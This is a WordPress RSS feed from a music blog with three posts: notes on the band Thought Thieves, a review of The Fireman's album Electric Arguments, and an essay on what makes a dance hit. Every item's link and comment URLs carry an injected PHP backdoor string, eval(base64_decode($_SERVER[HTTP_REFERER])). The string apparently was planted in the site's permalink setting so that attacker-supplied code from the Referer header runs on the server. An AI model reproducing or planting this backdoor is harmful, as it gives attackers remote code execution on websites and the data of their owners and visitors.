<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>One For The Vault &#187; dance</title>
	<atom:link href="http://oneforthevault.com/tag/dance/feed/" rel="self" type="application/rss+xml" />
	<link>http://oneforthevault.com</link>
	<description>The NESP Music Network</description>
	<lastBuildDate>Fri, 30 Jul 2010 23:43:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Notes: Thought Thieves</title>
		<link>http://oneforthevault.com/2009/04/05/notes-thought-thieves/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://oneforthevault.com/2009/04/05/notes-thought-thieves/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 21:56:30 +0000</pubDate>
		<dc:creator>mari</dc:creator>
				<category><![CDATA[Albums/Songs]]></category>
		<category><![CDATA[Artists/Bands]]></category>
		<category><![CDATA[dance]]></category>
		<category><![CDATA[electro]]></category>
		<category><![CDATA[gothic]]></category>
		<category><![CDATA[industrial]]></category>
		<category><![CDATA[rock]]></category>
		<category><![CDATA[Thought Thieves]]></category>

		<guid isPermaLink="false">http://oneforthevault.com/?p=100</guid>
		<description><![CDATA[Minneapolis-based electro/industrial/gothic band Thought Thieves have a distinct sound that wouldn&#8217;t be out of place on Top 40 radio, with lyrics that are worth a listen for grown-ups.  Vocalist Mike Johnson&#8217;s declaratory style is reminiscent of the B-52s&#8217; Fred Schneider; John Brekken (guitar and keyboards), Ariane Kokes (keyboards), Ryan Deacon (drums) and Jason Fleming [...]]]></description>
			<content:encoded><![CDATA[<p>Minneapolis-based electro/industrial/gothic band <a href="http://www.myspace.com/thoughtthievesmusic">Thought Thieves</a> have a distinct sound that wouldn&#8217;t be out of place on Top 40 radio, with lyrics that are worth a listen for grown-ups.  Vocalist Mike Johnson&#8217;s declaratory style is reminiscent of the B-52s&#8217; Fred Schneider; John Brekken (guitar and keyboards), Ariane Kokes (keyboards), Ryan Deacon (drums) and Jason Fleming (bass) lay out driving, danceable (or mosh-able) beats.  Click the link above to listen to their forthcoming EP; iTunes link will be added when it&#8217;s available.</p>
]]></content:encoded>
			<wfw:commentRss>http://oneforthevault.com/2009/04/05/notes-thought-thieves/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Review: The Fireman, Electric Arguments</title>
		<link>http://oneforthevault.com/2009/03/22/review-the-fireman-electric-arguments/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://oneforthevault.com/2009/03/22/review-the-fireman-electric-arguments/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 17:13:53 +0000</pubDate>
		<dc:creator>mari</dc:creator>
				<category><![CDATA[Albums/Songs]]></category>
		<category><![CDATA[ambient]]></category>
		<category><![CDATA[Blues]]></category>
		<category><![CDATA[dance]]></category>
		<category><![CDATA[Paul McCartney]]></category>
		<category><![CDATA[The Fireman]]></category>
		<category><![CDATA[vocals]]></category>
		<category><![CDATA[Youth]]></category>

		<guid isPermaLink="false">http://oneforthevault.com/?p=94</guid>
		<description><![CDATA[I have long enjoyed my copy of The Fireman&#8217;s 1998 release Rushes, which is relaxingly ambient and a bit sexy, so when I discovered last December that they had a new release, I put it on my Christmas list.  Santa obliged me, and I found Electric Arguments under the tree.
To my surprise and pleasure, [...]]]></description>
			<content:encoded><![CDATA[<p>I have long enjoyed my copy of <a href="http://thefiremanmusic.com">The Fireman&#8217;s</a> 1998 release <i>Rushes</i>, which is relaxingly ambient and a bit sexy, so when I discovered last December that they had a new release, I put it on my Christmas list.  Santa obliged me, and I found <i>Electric Arguments</i> under the tree.</p>
<p>To my surprise and pleasure, vocals are to the forefront on <i>Electric Arguments</i>.  To be specific, they are mostly Paul McCartney&#8217;s vocals; he has worked with UK musician <a href="http://en.wikipedia.org/wiki/Martin_Glover">Youth</a> as The Fireman since 1993.  The tracks are also in a more traditional &#8220;song&#8221; format than in previous releases.  As a longtime McCartney fan, I get the distinct feeling that he is now using The Fireman to release songs he doesn&#8217;t feel confident releasing under his own name (even though everyone who listens to The Fireman knows it&#8217;s him), as they might not fit what longtime pop-Paul fans like.  They are, overall, experimental as compared to his recent solo releases; however, as far as quality, <i>Electric Arguments</i> is at minimum on par with <i>Chaos And Creation In The Backyard</i> and completely blows away <i>Memory Almost Full</i>.</p>
<div class="alignright"><object width="425" height="264"><param name="movie" value="http://www.youtube.com/v/0wQmHhlZlfg&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/0wQmHhlZlfg&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="264"></embed></object></div>
<p>The first single, &#8220;Sing the Changes&#8221;, is easily my favorite track.  The somewhat exotic intro gives way to what I can best describe as a &#8220;pop chant&#8221;.  There is almost no melodic movement, the lyrics are repeated ad nauseam, but it is catchy and I always find myself bopping along to the beat.  The video is at right.  &#8220;Sun Is Shining&#8221; is more dynamic but still gives me the same happy feeling.  There is a lot of uplifting on this album.</p>
<p>The Fireman have used a bit of harmonica in this release as well, not an instrument that I can recall McCartney using previously (maybe on &#8220;Run Devil Run&#8221;, a retro rock album).  It lends a bluesy tone to &#8220;Nothing Too Much Just Out Of Sight&#8221; and &#8220;Highway&#8221;.  Where &#8220;Nothing Too Much&#8221; is a more ambient jam, &#8220;Highway&#8221; is a blues-rock number that reminds me of several popular early-80s blues bands.  The exploration of American niche genres continues with &#8220;Light From Your Lighthouse&#8221;, a jugband hymn that could easily be re-arranged into a modern worship song.</p>
<p>For those who do love a little dance and/or ambient, skip to the end of the album.  &#8220;Is This Love&#8221;, &#8220;Lovers In A Dream&#8221;, &#8220;Universal Here, Everlasting Now&#8221;, and &#8220;Don&#8217;t Stop Running&#8221; are quite enjoyable and make an excellent backdrop for a run around the neighborhood (totaling over 26 minutes, they&#8217;re perfect for my short laps).  &#8220;Don&#8217;t Stop Running&#8221; actually contains a &#8220;hidden&#8221; track after a lengthy pause; the last two minutes consist of a bit of spacey synthesized fun.</p>
<p>Overall, there isn&#8217;t a track on <i>Electric Arguments</i> that I don&#8217;t like.  This isn&#8217;t going to be for everyone, but if you&#8217;re up for a bit of trip (the acid kind) it&#8217;s definitely worth checking out.</p>
]]></content:encoded>
			<wfw:commentRss>http://oneforthevault.com/2009/03/22/review-the-fireman-electric-arguments/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anatomy of a Hit</title>
		<link>http://oneforthevault.com/2008/04/19/anatomy-of-a-hit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://oneforthevault.com/2008/04/19/anatomy-of-a-hit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 20 Apr 2008 01:42:47 +0000</pubDate>
		<dc:creator>mari</dc:creator>
				<category><![CDATA[Music Theory]]></category>
		<category><![CDATA[Akon]]></category>
		<category><![CDATA[ballad]]></category>
		<category><![CDATA[Blues Traveler]]></category>
		<category><![CDATA[dance]]></category>
		<category><![CDATA[genre]]></category>
		<category><![CDATA[hits]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[instrumentals]]></category>
		<category><![CDATA[instruments]]></category>
		<category><![CDATA[Jethro Tull]]></category>
		<category><![CDATA[lyrics]]></category>
		<category><![CDATA[Mariah Carey]]></category>
		<category><![CDATA[pop]]></category>
		<category><![CDATA[punk]]></category>
		<category><![CDATA[rock]]></category>
		<category><![CDATA[rock 'n roll]]></category>
		<category><![CDATA[songs]]></category>
		<category><![CDATA[songwriting]]></category>

		<guid isPermaLink="false">http://oneforthevault.com/?p=27</guid>
		<description><![CDATA[What makes a song a hit?  Is it a fashionable genre?  Is it a (f/ Akon) notation in the credits?  Or is there something more universal that gets radio requests and mass downloads?  Considering that hits come from all genres and certainly existed before the advent of the professional guest artist, [...]]]></description>
			<content:encoded><![CDATA[<p>What makes a song a hit?  Is it a fashionable genre?  Is it a (f/ Akon) notation in the credits?  Or is there something more universal that gets radio requests and mass downloads?  Considering that hits come from all genres and certainly existed before the advent of the professional guest artist, I&#8217;m inclined to go with that universal theory.</p>
<p>My personal experience is that there are two &#8220;usual&#8221; types of hits: the uptempo dance number, and the midtempo ballad (a/k/a makeout song).  In this blog, I&#8217;m going to examine uptempo songs.  Later, we&#8217;ll cover ballads, and the third, rogue category, the novelty song (which can occasionally fit into one or the other of the first two categories).  Now, on to the hits!</p>
<p>The backbone of a danceable song is the backbeat.  (It even has &#8220;back&#8221; in it!)  This usually consists of drums (or some kind of percussion, drum machine, etc.) and some kind of bass line, either from bass guitar, &#8220;stand up&#8221; double bass, or maybe the left hand of the piano or organ player.  This is what you tap your feet or fingers to, it&#8217;s what you move and groove and shake your booty to.  It&#8217;s what made people on American Bandstand say, &#8220;It&#8217;s got a good beat and you can dance to it, I give it an 8.5&#8243; for many, many years.  If you haven&#8217;t got a beat, you haven&#8217;t got a hit dance song.<br />
<span id="more-27"></span><br />
If you&#8217;re reading a score, the backbeat is on the bottom.  Building upward, you find the instruments that play (or create) chords: keyboards, guitars, and string and horn sections.  Chords are nice; they move around and create a mood, and then they resolve and finish the song (or section).  Without getting into the technical details, I&#8217;ll just say that there are ways of doing this that are &#8220;usual&#8221; and ways that are &#8220;unusual&#8221;.  The usual suspects are simple triads (made of 3 notes) and that&#8217;s your basic rock &#8216;n roll or punk song.  When you get a songwriter who really knows what s/he&#8217;s doing, and s/he does something unusual, then you get a song that&#8217;s not only mass-market enjoyable, but stimulating.  People actually like that.  However, they don&#8217;t like &#8220;weird&#8221;, so if you&#8217;re using this post as a songwriting guide (I hope not!), be careful of weirdness.</p>
<p>Up at the top of our hypothetical score are the lead &#8220;instruments&#8221;, which can be just about anything that plays a melody: lead guitar, vocals, piano, sax, and if you&#8217;re Jethro Tull, flute.  Here&#8217;s where the &#8220;catchiness&#8221; factor of a hit song comes into play.  Like Blues Traveler said, &#8220;The hook brings you back.&#8221;  So what&#8217;s the hook?  Hum or sing your favorite song.  The part you know best and sing loudest is probably the hook!  Oftentimes, the hook is the title of the song or the fun part of the chorus.  It gets repeated a lot.  And in a hit song, it should be easy for the majority of people to sing.  Most people who listen to the radio and enjoy songs are not trained singers, and they don&#8217;t have the range of, say, Mariah Carey.  (I do, but this isn&#8217;t about me.)  So take pity on your shower singers and car karaoke stars, and watch the range.</p>
<p>Finally, and this is optional: the lyrics.  I say this is optional because there are plenty of songs out there that people sing that do not have lyrics.  One of my personal favorites is&#8230; um&#8230; well, I can&#8217;t remember the name of it, because it doesn&#8217;t have any words!  Oh well.  Maybe I&#8217;ll remember it for the next installation of this mini-series.  Anyway, if I could hum it through the blog, you&#8217;d probably know it too.  And I hum or la-la-la along with tons of classical music that doesn&#8217;t have words.  So lyrics are optional.  And if you do have lyrics, frankly, they don&#8217;t have to make sense.  In fact, it probably helps if they don&#8217;t.  And if, like &#8220;Louie Louie&#8221;, the words are slurred?  That&#8217;s pretty much an instant hit.</p>
<p>I&#8217;ll be back in a week or so with Midtempo Ballads, or Seduction In 12/8 time.  Your homework assignment is to listen to the popular dance music of your generation with an ear to what I&#8217;ve discussed here, and report back as to whether I&#8217;m right.  Class dismissed!</p>
]]></content:encoded>
			<wfw:commentRss>http://oneforthevault.com/2008/04/19/anatomy-of-a-hit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
